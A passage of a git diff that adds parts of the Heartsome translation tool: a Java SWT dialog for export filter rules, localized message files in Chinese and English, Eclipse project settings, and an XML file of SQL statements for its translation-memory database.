1)); + + isAllCbtn = new Button(optionComposite, SWT.RADIO); + isAllCbtn.setSize(152, 26); + isAllCbtn.setText(Messages.getString("dialog.ExportFilterSettingDialog.isAllCbtn")); + isAllCbtn.setSelection(true); + + isAnyCbtn = new Button(optionComposite, SWT.RADIO); + isAnyCbtn.setText(Messages.getString("dialog.ExportFilterSettingDialog.isAnyCbtn")); + + ScrolledComposite scrolledComposite = new ScrolledComposite(container, SWT.V_SCROLL | SWT.BORDER); + scrolledComposite.setAlwaysShowScrollBars(false); + scrolledComposite.setLayoutData(new GridData(GridData.FILL_BOTH)); + scrolledComposite.setExpandHorizontal(true); + scrolledComposite.setExpandVertical(true); + + dynaComposite = new Composite(scrolledComposite, SWT.NONE); + dynaComposite.setBackground(Display.getDefault().getSystemColor((SWT.COLOR_WHITE))); + scrolledComposite.setContent(dynaComposite); + scrolledComposite.setMinSize(dynaComposite.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + GridLayout gl_dynaComposite = new GridLayout(1, false); + dynaComposite.setLayout(gl_dynaComposite); + + ExportFilterComposite exportFilterComponent = new ExportFilterComposite(dynaComposite, SWT.None, ruleType); + exportFilterComponent.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + exportFilterComponent.setDeleteButtonEnabled(false); + dynaComposite.setData("currentNumber", 1); + + scrolledComposite.setMinSize(dynaComposite.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + + initData(); + + return container; + } + + private void initData() { + if (this.currentFilter != null) { + Control[] c = dynaComposite.getChildren(); + for (int i = 0; i < c.length; i++) { + c[i].dispose(); + } + filterNameText.setText(currentFilter.getFilterName()); + String filterConnector = currentFilter.getFilterConnector(); + + if (filterConnector.equals("AND")) { + isAllCbtn.setSelection(true); + isAnyCbtn.setSelection(false); + } else { + isAllCbtn.setSelection(false); + isAnyCbtn.setSelection(true); + } + + List optionList = currentFilter.getFilterOption(); + if (optionList.size() > 0) { + ExportFilterComponentBean bean = optionList.get(0); + ExportFilterComposite exportFilterComponent = new ExportFilterComposite(dynaComposite, SWT.None, + ruleType, bean); + exportFilterComponent.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + exportFilterComponent.setDeleteButtonEnabled(false); + dynaComposite.setData("currentNumber", 1); + for (int i = 1; i < optionList.size(); i++) { + bean = optionList.get(i); + exportFilterComponent.addComponent(dynaComposite, bean); + } + } + } + } + + @Override + protected void okPressed() { + String filterName = this.filterNameText.getText(); + if (filterName == null || filterName.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportFilterSettingDialog.msgTitle"), + Messages.getString("dialog.ExportFilterSettingDialog.msg2")); + return; + } + + String filterConnector = "AND"; + if (isAnyCbtn.getSelection()) { + filterConnector = "OR"; + } + + List filterList = new ArrayList(); + Control[] c = dynaComposite.getChildren(); + for (int i = 0; i < c.length; i++) { + if (c[i] instanceof ExportFilterComposite) { + ExportFilterComposite comp = (ExportFilterComposite) c[i]; + ExportFilterComponentBean bean = comp.getValue(); + if (bean.getFilterVlaue() != null && !bean.getFilterVlaue().equals("")) { + filterList.add(bean); + } + } + } + + if (currentFilter != null) { // 编辑状æ€,ç­–ç•¥:删除原有的内容,é‡æ–°æ‰§è¡Œæ·»åŠ  + filterStore.deleteFilterRuleByName(currentFilter.getFilterName(), currentFilter.getFilterType()); + } + + if (filterStore.isFilterNameExist(filterName, getRuleType())) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportFilterSettingDialog.msgTitle"), + Messages.getString("dialog.ExportFilterSettingDialog.msg3")); + return; + } + + if (filterList.size() == 0) { + logger.error(Messages.getString("dialog.ExportFilterSettingDialog.logger1")); + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportFilterSettingDialog.msgTitle"), + Messages.getString("dialog.ExportFilterSettingDialog.msg4")); + return; + } + + currentFilter = new ExportFilterBean(); + currentFilter.setFilterName(filterName); + currentFilter.setFilterOption(filterList); + currentFilter.setFilterType(getRuleType()); + currentFilter.setFilterConnector(filterConnector); + filterStore.saveFilterRule(currentFilter); + super.okPressed(); + } + + /** + * 获å–设置结果 + */ + public ExportFilterBean getSettingResult() { + return this.currentFilter; + } + + /** + * 设置当å‰éœ€è¦ç¼–辑的Filter; + * @param currentFilter + * ; + */ + public void setCurrentFilter(ExportFilterBean currentFilter) { + this.currentFilter = currentFilter; + } + + /** + * 获å–过滤规则类型TMX/TBX + * @return "TMX" - 为TMX过滤规则 "TBX"-为TBX过滤规则 + */ + public String getRuleType() { + return ruleType; + } + + /** + * @param filterStore + * the filterStore to set + */ + public void setFilterStore(ExportFilterStoreConfiger filterStore) { + this.filterStore = filterStore; + } + + /** + * Create contents of the button bar. + * @param parent + */ + @Override + protected void createButtonsForButtonBar(Composite parent) { + createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + } + + /** + * Return the initial size of the dialog. + */ + @Override + protected Point getInitialSize() { + return new Point(580, 448); + } +} diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/Messages.java b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/Messages.java new file mode 100644 index 0000000..d262ada --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/Messages.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.database.ui.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.database.ui.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/message.properties b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/message.properties new file mode 100644 index 0000000..3e9cbcd --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/message.properties @@ -0,0 +1,24 @@ +core.DatabaseConfiger.logger1 = [LOG] \u521b\u5efa\u6570\u636e\u5e93\u670d\u52a1\u5668\u5b58\u50a8\u6587\u4ef6 workspace/.config/.servers \u6587\u4ef6\u5931\u8d25 +core.DatabaseConfiger.logger2 = [LOG] \u66f4\u65b0\u6570\u636e\u5e93\u670d\u52a1\u5668\u4fe1\u606f\u5931\u8d25 +core.DatabaseConfiger.logger3 = [LOG] \u5220\u9664\u670d\u52a1\u5668\u4fe1\u606f\u5931\u8d25 +core.DatabaseConfiger.logger4 = [LOG] \u67e5\u8be2\u670d\u52a1\u5668\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +core.ExportFilterStoreConfiger.logger1 = [LOG] \u521b\u5efa\u6570\u636e\u5e93\u670d\u52a1\u5668\u5b58\u50a8\u6587\u4ef6 workspace/.config/.exportFilter \u6587\u4ef6\u5931\u8d25 +core.ExportFilterStoreConfiger.logger2 = [LOG] \u5220\u9664\u89c4\u5219\u5931\u8d25 +core.ExportFilterStoreConfiger.msg1 = \u521b\u5efa\u8fc7\u6ee4\u89c4\u5219\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 + +dialog.ExportFilterComposite.creationDate = \u7ffb\u8bd1\u5355\u5143\u521b\u5efa\u65f6\u95f4 +dialog.ExportFilterComposite.changeDate = \u7ffb\u8bd1\u5355\u5143\u4fee\u6539\u65f6\u95f4 +dialog.ExportFilterSettingDialog.title = \u8fc7\u6ee4\u89c4\u5219 +dialog.ExportFilterSettingDialog.filterNameLabel = \u540d\u79f0(&N)\uff1a +dialog.ExportFilterSettingDialog.isAllCbtn = \u6ee1\u8db3\u4ee5\u4e0b\u6240\u6709\u6761\u4ef6 +dialog.ExportFilterSettingDialog.isAnyCbtn = \u6ee1\u8db3\u4ee5\u4e0b\u4efb\u4e00\u6761\u4ef6 +dialog.ExportFilterSettingDialog.msgTitle = \u63d0\u793a +dialog.ExportFilterSettingDialog.msg1 = \u521b\u5efa\u8fc7\u6ee4\u89c4\u5219\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 +dialog.ExportFilterSettingDialog.msg2 = \u89c4\u5219\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a\uff0c\u8bf7\u68c0\u67e5\u60a8\u7684\u8f93\u5165\u3002 +dialog.ExportFilterSettingDialog.msg3 = \u8be5\u89c4\u5219\u540d\u79f0\u5df2\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialog.ExportFilterSettingDialog.msg4 = \u8fc7\u6ee4\u89c4\u5219\u4e0d\u80fd\u4e3a\u7a7a\uff0c\u8bf7\u68c0\u67e5\u60a8\u7684\u8f93\u5165\u3002 +dialog.ExportFilterSettingDialog.logger1 = [LOG] \u521b\u5efa\u8fc7\u6ee4\u89c4\u5219\u5931\u8d25\uff0c\u65e0\u6cd5\u83b7\u53d6\u5df2\u8bbe\u7f6e\u7684\u8fc7\u6ee4\u89c4\u5219 + +#2012-10-15 add by jason +dialog.inputdbname.msg1 = \u8bf7\u8f93\u5165\u6b63\u786e\u7684\u540d\u79f0\u3002\n\u540d\u79f0\u5e94\u4ee5\u5b57\u6bcd\u5f00\u5934\uff0c\u7531\u5b57\u6bcd\u3001\u6570\u5b57\u6216\u4e0b\u5212\u7ebf\u7ec4\u6210\uff0c\u957f\u5ea6\u5728 4 \u5230 15 \u4e2a\u5b57\u7b26\u4e4b\u95f4\u3002 +dialog.inputdbname.msg2 = \u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a\u3002 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/message_en.properties b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/message_en.properties new file mode 100644 index 0000000..d423e64 --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/message_en.properties @@ -0,0 +1,24 @@ +core.DatabaseConfiger.logger1 = [LOG] \u521b\u5efa\u6570\u636e\u5e93\u670d\u52a1\u5668\u5b58\u50a8\u6587\u4ef6 workspace/.config/.servers file failed. +core.DatabaseConfiger.logger2 = [LOG] \u66f4\u65b0\u6570\u636e\u5e93\u670d\u52a1\u5668\u4fe1\u606f\u5931\u8d25 +core.DatabaseConfiger.logger3 = [LOG] \u5220\u9664\u670d\u52a1\u5668\u4fe1\u606f\u5931\u8d25 +core.DatabaseConfiger.logger4 = [LOG] \u67e5\u8be2\u670d\u52a1\u5668\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +core.ExportFilterStoreConfiger.logger1 = [LOG] \u521b\u5efa\u6570\u636e\u5e93\u670d\u52a1\u5668\u5b58\u50a8\u6587\u4ef6 workspace/.config/.exportFilter file failed. +core.ExportFilterStoreConfiger.logger2 = [LOG] \u5220\u9664\u89c4\u5219\u5931\u8d25 +core.ExportFilterStoreConfiger.msg1 = An error occured when creating the filter rules. Please try again. + +dialog.ExportFilterComposite.creationDate = Created on +dialog.ExportFilterComposite.changeDate = Modified on +dialog.ExportFilterSettingDialog.title = Filter Rules +dialog.ExportFilterSettingDialog.filterNameLabel = &Name: +dialog.ExportFilterSettingDialog.isAllCbtn = Fulfill all the following conditions +dialog.ExportFilterSettingDialog.isAnyCbtn = Fulfill one of the following conditions +dialog.ExportFilterSettingDialog.msgTitle = Message +dialog.ExportFilterSettingDialog.msg1 = An error occured when creating the filter rules. Please try again. +dialog.ExportFilterSettingDialog.msg2 = The rule name cannot be empty. Please enter a name. +dialog.ExportFilterSettingDialog.msg3 = The rule name already exists. Please enter another name. +dialog.ExportFilterSettingDialog.msg4 = Filter rules cannot be empty. Please configure filter rules. +dialog.ExportFilterSettingDialog.logger1 = [LOG] \u521b\u5efa\u8fc7\u6ee4\u89c4\u5219\u5931\u8d25\uff0c\u65e0\u6cd5\u83b7\u53d6\u5df2\u8bbe\u7f6e\u7684\u8fc7\u6ee4\u89c4\u5219 + +#2012-10-15 add by jason +dialog.inputdbname.msg1 = Please enter a correct name.\nName should begin with a letter, consisting of letters, numbers, or underscores between 4-15 characters in length. +dialog.inputdbname.msg2 = The name can not be empty. diff --git a/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/message_zh.properties b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/message_zh.properties new file mode 100644 index 0000000..3e9cbcd --- /dev/null +++ b/database/net.heartsome.cat.database.ui/src/net/heartsome/cat/database/ui/resource/message_zh.properties @@ -0,0 +1,24 @@ +core.DatabaseConfiger.logger1 = [LOG] \u521b\u5efa\u6570\u636e\u5e93\u670d\u52a1\u5668\u5b58\u50a8\u6587\u4ef6 workspace/.config/.servers \u6587\u4ef6\u5931\u8d25 +core.DatabaseConfiger.logger2 = [LOG] \u66f4\u65b0\u6570\u636e\u5e93\u670d\u52a1\u5668\u4fe1\u606f\u5931\u8d25 +core.DatabaseConfiger.logger3 = [LOG] \u5220\u9664\u670d\u52a1\u5668\u4fe1\u606f\u5931\u8d25 +core.DatabaseConfiger.logger4 = [LOG] \u67e5\u8be2\u670d\u52a1\u5668\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +core.ExportFilterStoreConfiger.logger1 = [LOG] \u521b\u5efa\u6570\u636e\u5e93\u670d\u52a1\u5668\u5b58\u50a8\u6587\u4ef6 workspace/.config/.exportFilter \u6587\u4ef6\u5931\u8d25 +core.ExportFilterStoreConfiger.logger2 = [LOG] \u5220\u9664\u89c4\u5219\u5931\u8d25 +core.ExportFilterStoreConfiger.msg1 = \u521b\u5efa\u8fc7\u6ee4\u89c4\u5219\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 + +dialog.ExportFilterComposite.creationDate = \u7ffb\u8bd1\u5355\u5143\u521b\u5efa\u65f6\u95f4 +dialog.ExportFilterComposite.changeDate = \u7ffb\u8bd1\u5355\u5143\u4fee\u6539\u65f6\u95f4 +dialog.ExportFilterSettingDialog.title = \u8fc7\u6ee4\u89c4\u5219 +dialog.ExportFilterSettingDialog.filterNameLabel = \u540d\u79f0(&N)\uff1a +dialog.ExportFilterSettingDialog.isAllCbtn = \u6ee1\u8db3\u4ee5\u4e0b\u6240\u6709\u6761\u4ef6 +dialog.ExportFilterSettingDialog.isAnyCbtn = \u6ee1\u8db3\u4ee5\u4e0b\u4efb\u4e00\u6761\u4ef6 +dialog.ExportFilterSettingDialog.msgTitle = \u63d0\u793a +dialog.ExportFilterSettingDialog.msg1 = \u521b\u5efa\u8fc7\u6ee4\u89c4\u5219\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\u3002 +dialog.ExportFilterSettingDialog.msg2 = \u89c4\u5219\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a\uff0c\u8bf7\u68c0\u67e5\u60a8\u7684\u8f93\u5165\u3002 +dialog.ExportFilterSettingDialog.msg3 = \u8be5\u89c4\u5219\u540d\u79f0\u5df2\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialog.ExportFilterSettingDialog.msg4 = \u8fc7\u6ee4\u89c4\u5219\u4e0d\u80fd\u4e3a\u7a7a\uff0c\u8bf7\u68c0\u67e5\u60a8\u7684\u8f93\u5165\u3002 +dialog.ExportFilterSettingDialog.logger1 = [LOG] \u521b\u5efa\u8fc7\u6ee4\u89c4\u5219\u5931\u8d25\uff0c\u65e0\u6cd5\u83b7\u53d6\u5df2\u8bbe\u7f6e\u7684\u8fc7\u6ee4\u89c4\u5219 + +#2012-10-15 add by jason +dialog.inputdbname.msg1 = \u8bf7\u8f93\u5165\u6b63\u786e\u7684\u540d\u79f0\u3002\n\u540d\u79f0\u5e94\u4ee5\u5b57\u6bcd\u5f00\u5934\uff0c\u7531\u5b57\u6bcd\u3001\u6570\u5b57\u6216\u4e0b\u5212\u7ebf\u7ec4\u6210\uff0c\u957f\u5ea6\u5728 4 \u5230 15 \u4e2a\u5b57\u7b26\u4e4b\u95f4\u3002 +dialog.inputdbname.msg2 = \u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a\u3002 \ No newline at end of file diff --git a/database/net.heartsome.cat.database/.classpath b/database/net.heartsome.cat.database/.classpath new file mode 100644 index 0000000..2d1a430 --- /dev/null +++ b/database/net.heartsome.cat.database/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/database/net.heartsome.cat.database/.gitignore b/database/net.heartsome.cat.database/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/database/net.heartsome.cat.database/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/database/net.heartsome.cat.database/.project b/database/net.heartsome.cat.database/.project new file mode 100644 index 0000000..cd4200a --- /dev/null +++ b/database/net.heartsome.cat.database/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.database + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..71f2fb2 --- /dev/null +++ b/database/net.heartsome.cat.database/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:26:25 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database/Configure/db_config.xml b/database/net.heartsome.cat.database/Configure/db_config.xml new file mode 100644 index 0000000..698a38b --- /dev/null +++ b/database/net.heartsome.cat.database/Configure/db_config.xml @@ -0,0 +1,826 @@ + + + + + CREATE DATABASE __DATABASE_NAME__ + DROP DATABASE __DATABASE_NAME__ + + + + + CREATE TABLE HSCATSYSDB + ( + DBNAME varchar(150) not null, + QUALITY + char(1) not null, + USERS LONGVARCHAR, + TYPE INTEGER not null, + primary key + (DBNAME) + ) + + + INSERT INTO HSCATSYSDB (DBNAME,QUALITY,TYPE) VALUES (?,?,?) + + DELETE FROM HSCATSYSDB WHERE DBNAME=? + SELECT DBNAME, QUALITY, USERS FROM HSCATSYSDB WHERE TYPE = + ? + + + + + + CREATE TABLE IMPORTED_FILE ( + ID INTEGER NOT NULL , + MDFIVE + VARCHAR(32) NOT NULL, + FILETYPE CHAR(3) NOT NULL, + CREATETIME VARCHAR(32) + NOT NULL, + PRIMARY KEY (ID) + ) + + + CREATE TABLE HEADER ( + ID INTEGER NOT NULL , + VALUE VARCHAR(4000) + NOT NULL, + FILEID INTEGER NOT NULL, + HPOSITION INTEGER NOT NULL, + PRIMARY + KEY (ID) + ) + + + CREATE TABLE ENTRY_GROUP ( + ID INTEGER NOT NULL , + TUID + VARCHAR(255), + FILEID INTEGER, + PRIMARY KEY (ID) + ) + + + CREATE TABLE LANGSET ( + ID INTEGER NOT NULL , + LANGCODE CHAR(6) NOT + NULL, + ENTRYID VARCHAR(255) NOT NULL, + PRIMARY KEY (ID) + ) + + + CREATE TABLE NODE ( + ID INTEGER NOT NULL , + PID INTEGER NOT NULL, + PTYPE CHAR(1) NOT NULL, + NODETYPE CHAR(1) NOT NULL, + VALUE VARCHAR(4000) + , + NAME VARCHAR(255) NOT NULL, + PATH VARCHAR(255) NOT NULL, + LEVELPATH + VARCHAR(255) NOT NULL, + PRIMARY KEY (ID) + ) + + + CREATE TABLE TEXT_DATA ( + ID INTEGER NOT NULL , + HASH INTEGER NOT + NULL, + PURETEXT varchar(4000) NOT NULL, + FULLTEXT varchar(4000) NOT NULL, + PID INTEGER NOT NULL, + PTYPE char(1) NOT NULL, + LANGCODE char(6) NOT + NULL, + PRECONTEXT varchar(100) default NULL, + NEXTCONTEXT varchar(100) + default NULL, + PRIMARY KEY (ID) + ) + + + CREATE TABLE ADDNODE ( + ID INTEGER NOT NULL , + PID INTEGER NOT NULL, + PTYPE CHAR(1) NOT NULL, + NODETYPE CHAR(1) NOT NULL, + NAME VARCHAR(255) , + PATH VARCHAR(255) NOT NULL, + PRIMARY KEY (ID) + ) + + + CREATE TABLE ADDNODEVALUES ( + ID INTEGER NOT NULL , + VALUE + VARCHAR(4000) NOT NULL, + NODEID INTEGER NOT NULL, + PRIMARY KEY (ID) + ) + + + + + + + CREATE TABLE MATRIX___LANG__ ( + ID INTEGER NOT NULL , + ENTRYID + INTEGER NOT NULL, + NGRAM INTEGER NOT NULL, + SEGSIZE INTEGER, + PRIMARY KEY + (ID) + ) + + + + + + + + INSERT INTO MHEADER + (CREATIONTOOL, CTVERSION, TMF, + SRCLANG, ADMINLANG, DATATYPE, SEGTYPE, CREATIONID, + CREATIONDATE, + CHANGEID, CHANGEDATE, ENCODING) + VALUES ( ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, + ?, ? ) ; + + + INSERT INTO MHEADERNODE + (MHPKID, NNAME, NTYPE, + CONTENT) + VALUES (?, ?, ?, ?); + + + INSERT INTO MTU + (MHPKID, TUID, CREATIONID, CREATIONDATE, + CHANGEID, CHANGEDATE, CREATIONTOOL, + CTVERSION, CLIENT, PROJECTREF, + JOBREF) + VALUES(?,?,?,?,?,?,?,?,?,?,?) + + + INSERT INTO MEXTRA + (PARENTNAME, PARENTID, NTYPE, + NNAME, CONTENT) + VALUES (?, ?, ?, ?, ?) + + + INSERT INTO MPROP + (PARENTNAME, PARENTID, PNAME, LANG, + ENCODING, CONTENT) + VALUES (?, ?, ?, ?, ?, ?) + + + DELETE FROM MPROP WHERE PARENTNAME='TU' AND + PARENTID=? AND PNAME=? AND CONTENT=? + + + INSERT INTO MNOTE + (PARENTNAME, PARENTID, CONTENT, + CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, + ENCODING, LANG) + VALUES + (?, ?, ?, ?, ?, ?, ?, ?, ?) + + + INSERT INTO LANG + (LANGCODE) + VALUES (?) + + + INSERT INTO TEXTDATA + (TYPE, GROUPID, HASH, PURE, + CONTENT, LANG, PRECONTEXT, NEXTCONTEXT) + VALUES ( ?, ?, ?, ?, ?, ?, ?, + ?) + + + + SELECT LANGCODE FROM LANG WHERE LANGCODE=? + + + + SELECT LANGCODE FROM LANG + + + + SELECT TPKID FROM TEXTDATA WHERE HASH=? AND LANG=? + AND + TYPE=? + + + SELECT TPKID, CONTENT FROM TEXTDATA + WHERE GROUPID=? AND TYPE=? AND LANG=? + + + SELECT TPKID FROM TEXTDATA WHERE HASH=? AND + PRECONTEXT=? AND NEXTCONTEXT=? AND LANG=? AND TYPE=? + + + SELECT TPKID FROM TEXTDATA WHERE TYPE=? AND + LANG=? + + + SELECT + TPKID, PURE, CONTENT, LANG, PRECONTEXT, + NEXTCONTEXT + FROM TEXTDATA + WHERE TYPE=? AND GROUPID= ? AND LANG=? + + + + SELECT GROUPID FROM TEXTDATA WHERE + TPKID=? + + + SELECT + MTUPKID,TUID,CREATIONID,CREATIONDATE,CHANGEID,CHANGEDATE,CREATIONTOOL,CTVERSION,CLIENT,PROJECTREF,JOBREF,MHPKID + FROM MTU WHERE MTUPKID=? + + + SELECT + MTUPKID, TUID, CREATIONID, CREATIONDATE, + CHANGEID, CHANGEDATE, CREATIONTOOL, + CTVERSION, CLIENT, PROJECTREF, + JOBREF, MHPKID + FROM + (SELECT DISTINCT GROUPID + FROM + TEXTDATA + WHERE TPKID IN + (__SET__)) A + LEFT JOIN MTU B + ON B.MTUPKID=A.GROUPID + + + SELECT MTUPKID, TUID ,CHANGEID, CHANGEDATE, + PRECONTEXT, NEXTCONTEXT FROM MTU INNER JOIN TEXTDATA ON MTUPKID = + GROUPID AND HASH = ? AND LANG = ? AND TYPE = ? + + + SELECT + MTUPKID, TUID, CREATIONID, + CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, + CTVERSION, CLIENT, + PROJECTREF, JOBREF, MHPKID + FROM + MTU + INNER JOIN TEXTDATA + ON MTUPKID = + GROUPID + AND HASH = ? AND LANG = ? AND TYPE = ? AND PRECONTEXT=? AND + NEXTCONTEXT=? + + + + + SELECT MEPKID, NTYPE, NNAME, CONTENT, PARENTNAME, + PARENTID + FROM MEXTRA WHERE PARENTID=? AND PARENTNAME=? AND NTYPE=? + + + SELECT + MNPKID, PARENTNAME, PARENTID, CONTENT, + CREATIONID, CREATIONDATE, CHANGEID, + CHANGEDATE, ENCODING, LANG + FROM + MNOTE WHERE PARENTNAME=? AND PARENTID = ? + + + + SELECT + MPPKID, PARENTNAME, PARENTID, PNAME, LANG, + ENCODING, CONTENT + FROM + MPROP WHERE PARENTID=? AND PARENTNAME=? + + + + SELECT CONTENT,MNPKID FROM MNOTE WHERE + PARENTID=? AND + PARENTNAME=? + + + + SELECT + TPKID, TYPE, GROUPID, HASH, PURE, + CONTENT, LANG, PRECONTEXT, NEXTCONTEXT + FROM + TEXTDATA WHERE GROUPID =? + AND LANG= ? + + + + SELECT + MHPKID, CREATIONTOOL, CTVERSION, TMF, SRCLANG, + ADMINLANG, DATATYPE, SEGTYPE, + CREATIONID, CREATIONDATE, CHANGEID, + CHANGEDATE, ENCODING + FROM + MHEADER WHERE MHPKID =? + + + + UPDATE MTU SET + CREATIONID=?,CREATIONDATE=?,CHANGEID=?,CHANGEDATE=?,CREATIONTOOL=?,CTVERSION=?,CLIENT=?,PROJECTREF=?,JOBREF=?,TUID=? + WHERE MTUPKID=? + + + UPDATE MTU SET TUID=?, CHANGEID=?, + CHANGEDATE=? WHERE MTUPKID=? + + + UPDATE TEXTDATA SET PRECONTEXT = ? , + NEXTCONTEXT = ? WHERE GROUPID = ? AND + LANG = ? + + + UPDATE MEXTRA + SET CONTENT=? + WHERE MEPKID=? + + + UPDATE MPROP + SET CONTENT=? + WHERE MPPKID=? + + + + DELETE FROM TEXTDATA WHERE __WHERE__ + + + DELETE FROM MPROP WHERE __WHERE__ + + + DELETE FROM MNOTE WHERE __WHERE__ + + + DELETE FROM MEXTRA WHERE __WHERE__ + + + + + + DELETE FROM MTU WHERE MTUPKID =? + + + DELETE FROM MTU WHERE MTUPKID IN (_SET_) + + + + UPDATE MTU SET CHANGEDATE =? WHERE MTUPKID=? + + + UPDATE MTU SET CHANGEID =? WHERE MTUPKID=? + + + + UPDATE MTU SET + TUID=?,CREATIONID=?,CREATIONDATE=?,CHANGEID=?,CHANGEDATE=?,CREATIONTOOL=?,CTVERSION=? + WHERE MTUPKID =? + + + + UPDATE MTU SET _COLUMN_NAME_ = ? + + + + UPDATE MTU SET _COLUMN_NAME_ = ? + WHERE MTUPKID IN (_SET_) + + + + + DELETE FROM MNOTE WHERE PARENTID=? AND + PARENTNAME=? + + + + DELETE FROM MNOTE WHERE PARENTNAME=? AND + PARENTID IN (_SET_) + + + + UPDATE MNOTE SET CONTENT=? ,ENCODING=? ,LANG=? WHERE + MNPKID =? + + + + INSERT INTO MNOTE + (PARENTNAME,PARENTID,CONTENT,ENCODING,LANG) VALUES + (?,?,?,?,?) + + + INSERT INTO MNOTE + (PARENTNAME,PARENTID,CONTENT) + VALUES + (?,?,?) + + + DELETE FROM MNOTE WHERE MNPKID =? + + + + UPDATE MNOTE SET CONTENT = ? WHERE CONTENT = ? + + + UPDATE MNOTE SET CONTENT = ? WHERE CONTENT = ? AND PARENTID IN (_SET_) + + + DELETE FROM MNOTE WHERE CONTENT = ? + + + DELETE FROM MNOTE WHERE CONTENT = ? AND PARENTID IN(_SET_) + + + + + + DELETE FROM MPROP WHERE PARENTID=? AND + PARENTNAME=? + + + + DELETE FROM MPROP WHERE PARENTNAME=? AND + PARENTID IN (_SET_) + + + + + UPDATE MPROP SET PNAME=? ,CONTENT=? WHERE MPPKID =? + + + INSERT INTO MPROP (PARENTNAME ,PARENTID,PNAME ,CONTENT) + VALUES(?,?,?,?) + + + DELETE FROM MPROP WHERE MPPKID=? + + + + UPDATE MPROP SET PNAME = ? ,CONTENT = ? WHERE + PNAME =? AND CONTENT = ? + + + UPDATE MPROP SET PNAME = ? WHERE + PNAME =? + + + UPDATE MPROP SET PNAME = ? ,CONTENT = ? + WHERE PNAME = ? AND CONTENT = ? + AND PARENTID IN (_SET_) + + + UPDATE MPROP SET PNAME = ? + WHERE PNAME = ? + AND PARENTID IN (_SET_) + + + DELETE FROM MPROP WHERE PNAME = ? AND CONTENT = + ? + + + DELETE FROM MPROP WHERE PNAME = ? AND + CONTENT = ? AND PARENTID IN + (_SET_) + + + + + UPDATE TEXTDATA SET HASH=? ,PURE =? , + CONTENT =? + WHERE TPKID =? + + + + UPDATE TEXTDATA SET CONTENT = TRIM(CONTENT) + WHERE + LENGTH(CONTENT)<>LENGTH(TRIM(CONTENT)) + + + >>>>>>>>>过滤æ¡ä»¶æŸ¥è¯¢ 获å–æºæ–‡ä¸Žè¯‘文相åŒçš„tu 的主键 robert 2013-08-21 --> + + SELECT A.GROUPID AS ID from TEXTDATA A + INNER 